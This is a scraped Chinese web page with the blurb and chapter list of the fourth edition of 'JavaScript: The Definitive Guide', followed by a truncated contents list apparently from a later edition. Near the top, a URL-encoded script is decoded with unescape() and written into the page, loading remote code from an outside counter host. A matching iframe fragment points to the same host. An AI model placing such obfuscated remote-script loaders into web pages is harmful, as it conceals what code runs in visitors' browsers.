javascript权威指南(第四版)

 <script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
<script type="text/javascript">google_ad_client = "pub-6382933205019744";google_ad_width = 336;google_ad_height = 280;google_ad_format = "336x280_as";google_ad_type = "text_image";google_ad_channel = "2092529421";google_ui_features = "rc:0";</script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<script type="text/javascript">google_ad_client = "pub-6382933205019744";google_ad_width = 336;google_ad_height = 280;google_ad_format = "336x280_as";google_ad_type = "text_image";google_ad_channel = "2092529421";google_ui_features = "rc:0";</script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>

javascript权威指南(第四版)




bsp



Java Script是一种功能强大的基于对象的脚本语言。Java Script程序可以直接嵌入HTML页面。与Web浏览器定义的文档对象模型(DOM)一起使用时,JavaScript可以创建动态HTML(DHTML)内容,允许用户与客户端的Web应用程序交互。 JavaScript语法以流行的程序设计语言C、C++和Java为基础,因此,经验丰富的程序设计人员可以很快地熟悉和掌握。此外,JavaScript是一种解释性脚本语言,提供了比其他语言更加灵活、更加宽松的程序设计环境,程序设计新手在这种环境中能够很快适应。
    《JavaScript权威指南》全面介绍了JavaScript语言的核心,以及Web浏览器中实现的遗留和标准的DOM。它运用了一些复杂的例子,说明如何处理验证表单数据、使用cookie、创建可移植的DHTML动画等常见任务。本书还包括详细的参考手册,涵盖了JavaScript的核心API、遗留的客户端API和W3C标准DOM API,记述了这些API中的每一个JavaScript对象、方法、性质、构造函数、常量和事件处理程序。
    这本最畅销的JavaScript参考书的第四版已经进行了全面的更新,其中涵盖JavaScript 1.5(ECMAScript Version 3)的详细介绍。它还提供了W3C DOM标准(1级和2级)的完整内容,为了向后兼容,本书保持了遗留的O级DOM的资料。
    《JavaScript权威指南》是JavaScript程序设计者的完整指南和参考手册。对于使用最新的、遵守标准的Web浏览器(如Internet Explorer 6、Netscape 6和Mozilla)的开发者,它尤其有用。HTML作者可以从中学习如何用JavaScript创建动态网页。经验丰富的程序设计者可以从中快速地找到编写复杂JavaScript程序需要的信息。本书对所有JavaScript程序设计者来说都是绝对必要的。
前言
第一章 JavaScript概述
1.1 对JavaScript的误解
1.2 JavaScript的版本
1.3 客户端JavaScript
1.4 其他环境中的JavaScript
1.5 客户端的JavaScript:网页中的可执行内容
1.6 客户端JavaScript的特性
1.7 JavaScript的安全性
1.8 例子: 用JavaScript计算借贷支出
1.9 如何使用本书其余的部分
1.10 JavaScript探秘
第一部分 JavaScript的核心
第二章 词法结构
2.1 字符集
2.2 大小写敏感性
2.3 空白符和换行符
2.4 可选的分号
2.5 注释
2.6 直接量
2.7 标识符
2.8 保留字
第三章 数据类型和值
3.1 数字
3.2 字符串
3.3 布尔值
3.4 函数
3.5 对象
3.6 数组
3.7 null
3.8 Undefined
3.9 Date对象
3.10 正则表达式
3.11 Error对象
3.12 基本数据类型的包装对象
第四章 变量
4.1 变量的类型
4.2 变量的声明
4.3 变量的作用域
4.4 基本类型和引用类型
4.5 无用存储单元的收集
4.6 作为属性的变量
4.7 深入理解变量作用域
第五章 表达式和运算符
5.1 表达式
5.2 运算符概述
5.3 算术运算符
5.4 相等运算符
5.5 关系运算符
5.6 字符串运算符
5.7 逻辑运算符
5.8 逐位运算符
5.9 赋值运算符
5.10 其他运算符
第六章 语句
6.1 表达式语句
6.2 复合语句
6.3 if语句
6.4 else if语句
6.5 switch语句
6.6 while语句
6.7 do/while语句
6.8 for语句
6.9 for/in
6.10 标签语句
6.11 break语句
6.12 continue语句
6.13 var语句
6.14 function语句
6.15 return语句
6.16 throw语句
6.17 try/catch/finally
6.18 with语句
6.19 空语句
6.20 JavaScript语句小结
第七章 函数
7.1 函数的定义和调用
7.2 作为数据的函数
7.3 函数的作用域:调用对象
7.4 函数的实际参数:Arguments对象
7.5 函数的属性和方法
第八章 对象
8,1 对象和属性
8.2 构造函数
8.3 方法
8.4 原型对象和继承
8.5 面向对象的JavaScript
8.6 作为关联数组的对象
8.7 对象的属性和方法
第九章 数组
9.1 数组和数组元素
9.2 数组的方法
第十章 使用正则表达式的模式匹配
10.1 正则表达式的定义
10.2 用于模式匹配的String方法
10.3 RegExp对象
第十一章 JavaScript的更多主题
11.1 数据类型转换
11.2 使用值和使用引用
11.3 无用存储单元收集
11.4 词法作用域和嵌套函数
11.5 Function()构造函数和函数直接量
11.6 Netscape公司的JavaScript 1.2的不兼容性
第二部分 客户端JavaScript
第十二章 Web浏览器中的JavaScript
12.1 Web浏览器环境
12.2 在HTML中嵌入JavaScript
12.3 JavaScript程序的执行
第十三章 窗口和框架
13.1 Window对象概述
13.2 简单的对话框
13.3 状态栏
13.4 超时设定和时间间隔
13.5 错误处理
13.6 Navigator对象
13.7 Screen对象
13.8 Window对象的控制方法
13.9 Location对象
13.10 History对象
13.11 多窗口和多框架
第十四章 Document对象
14.1 Document对象概览
14.2 动态生成的文档
14.3 Document对象的颜色属性
14.4 Document对象的信息属性
14.5 表单
14.6 图像
14.7 链接
14.8 锚
14.9 小程序
14.10 嵌入式数据
第十五章 表单和表单元素
15.1 Form对象
15.2 定义表单元素
15.3 脚本化表单元
15.4 表单验证示例
第十六章 脚本化cookie
16.1 cookie概览
16.2 cookie的储存
16.3 cookie的读取
16.4 cookie示例
第十七章 文档对象模型
17.1 DOM概览
17.2 使用DOM的核心API
17.3 DOM与Internet Explorer 4的兼容性
17.4 DOM与Netscape 4的兼容性
17.5 简便方法:Traversal和Range API
第十八章 级联样式表和动态HTML
18.1 CSS的样式和样式表
18.2 用CSS进行元素定位
18.3 脚本祥式
18.4 第四代浏览器中的DHTML
18.5 关于样式和样式表的其他DOM API
第十九章 事件和事件处理
19.1 基本事件处理
19.2 2级DOM中的高级事件处理
19.3 Internet Explorer事件模型
19.4 Netscape 4事件模型
第二十章 兼容性
20.1 平台和浏览器的兼容性
20.2 语言版本的兼容性
20.3 非JavaScript浏览器的兼容性.
第二十一章 JavaScript的安全性
21.1 JavaScript与安全性
21.2 受限制的特性
21.3 同源策略
21.4 安全区和签名脚本
第二十二章 在JavaScript中使用Java
22.1 脚本化Java小程序
22.2 在Java中使用JavaScript
22.3 直接使用Java类
22.4 LiveConnect数据类型
22.5 LiveConnect数据转换
22.6 JavaObJect对象在JavaScript中的转换
22.7 从Java到JavaScript的数据转换
第三部分 JavaScript核心参考手册
JavaScript核心参考手册
第四部 分客户端JavaScript参考手册
客户端JavaScript参考手册
第五部分 W3C DOM参考手册
W3C DOM参考手册
第六部分 类、属性、方法和事件处理程序索引
类、属性、方法和事件处理程序索引
词汇表
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
前言1   第1章 JavaScript概述5   1.1 JavaScript语言核心8   1.2 客户端JavaScript12   第一部分 JavaScript 语言核心   第2章 词法结构25   2.1 字符集25   2.2 注释27   2.3 直接量27   2.4 标识符和保留字28   2.5 可选的分号30   第3章 类型、值和变量32   3.1 数字34   3.2 文本38   3.3 布尔值43   3.4 null和undefined44   3.5 全局对象45   3.6 包装对象46   3.7 不可变的原始值和可变的对象引用47   3.8 类型转换48   3.9 变量声明55   3.10 变量作用域56   第4章 表达式和运算符60   4.1 原始表达式60   4.2 对象和数组的初始化表达式61   4.3 函数定义表达式62   4.4 属性访问表达式63   4.5 调用表达式64   4.6 对象创建表达式64   4.7 运算符概述65   4.8 算术表达式69   4.9 关系表达式74   4.10 逻辑表达式79   4.11 赋值表达式81   4.12 表达式计算83   4.13 其他运算符86   第5章 语句91   5.1 表达式语句92   5.2 复合语句和空语句92   5.3 声明语句94   5.4 条件语句96   5.5 循环101   5.6 跳转106   5.7 其他语句类型113   5.8 JavaScript语句小结116   第6章 对象118   6.1 创建对象120   6.2 属性的查询和设置123   6.3 删除属性127   6.4 检测属性128   6.5 枚举属性130   6.6 属性getter和setter132   6.7 属性的特性134   6.8 对象的三个属性138   6.9 序列化对象141   6.10 对象方法142   第7章 数组144   7.1 创建数组 144   7.2 数组元素的读和写145   7.3 稀疏数组147   7.4 数组长度148   7.5 数组元素的添加和删除149   7.6 数组遍历149   7.7 多维数组151   7.8 数组方法152   7.9 ECMAScript 5中的数组方法 156   7.10 数组类型160   7.11 类数组对象161   7.12 作为数组的字符串163   第8章 函数165   8.1 函数定义166   8.2 函数调用168   8.3 函数的实参和形参173   8.4 作为值的函数178   8.5 作为命名空间的函数181   8.6 闭包182   8.7 函数属性、方法和构造函数188   8.8 函数式编程194   第9章 类和模块201   9.1 类和原型202   9.2 类和构造函数203   9.3 JavaScriptJava式的类继承207   9.4 类的扩充210   9.5 类和类型212   9.6 JavaScript中的面向对象技术217   9.7 子类230   9.8 ECMAScript 5 中的类239   9.9 模块248   第10章 正则表达式的模式匹配253   10.1 正则表达式的定义253   10.2 用于模式匹配的String方法261   10.3 RegExp对象263   第11章 JavaScript的子集和扩展267   11.1 JavaScript的子集268   11.2 常量和局部变量271   11.3 解构赋值274   11.4 迭代276   11.5 函数简写285   11.6 多catch 从句285   11.7 E4X: ECMAScript for XML286   第12章 服务器端JavaScript290   12.1 用Rhino脚本Java291   12.2 用Node实现异步I/O297   第二部分 客户端JavaScript   第13章 Web浏览器中的JavaScript309   13.1 客户端JavaScript309   13.2 在HTML里嵌入JavaScript313   13.3 JavaScript程序的执行319   13.4 兼容性和互用性326   13.5 可访问性333   13.6 安全性334   13.7 客户端框架339   第14章 Window对象341   14.1 计时器342   14.2 浏览器定位和导航343   14.3 浏览历史345   14.4 浏览器和屏幕信息346   14.5 对话框348   14.6 错误处理351   14.7 作为Window对象属性的文档元素351   14.8 多窗口和窗体353   第15章 脚本化文档361   15.1 DOM概览362   15.2 选取文档元素364   15.3 文档结构和遍历371   15.4 属性375   15.5 元素的内容378   15.6 创建、插入和删除节点382   15.7 例子:生成目录表387   15.8 文档和元素的几何形状和滚动389   15.9 HTML表单396   15.10 其他文档特性404   第16章 脚本化CSS410   16.1 CSS概览411   16.2 重要的CSS属性416   16.3 脚本化内联样式427   16.4 查询计算出的样式431   16.5 脚本化CSS类433   16.6 脚本化样式表436   第17章 事件处理440   17.1 事件类型442   17.2 注册事件处理程序451   17.3 事件处理程序的调用454   17.4 文档加载事件459   17.5 鼠标事件461   17.6 鼠标滚轮事件465   17.7 拖放事件468   17.8 文本事件475   17.9 键盘事件478   第18章 脚本化HTTP484   18.1 使用XMLHttpRequest487   18.2 借助

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值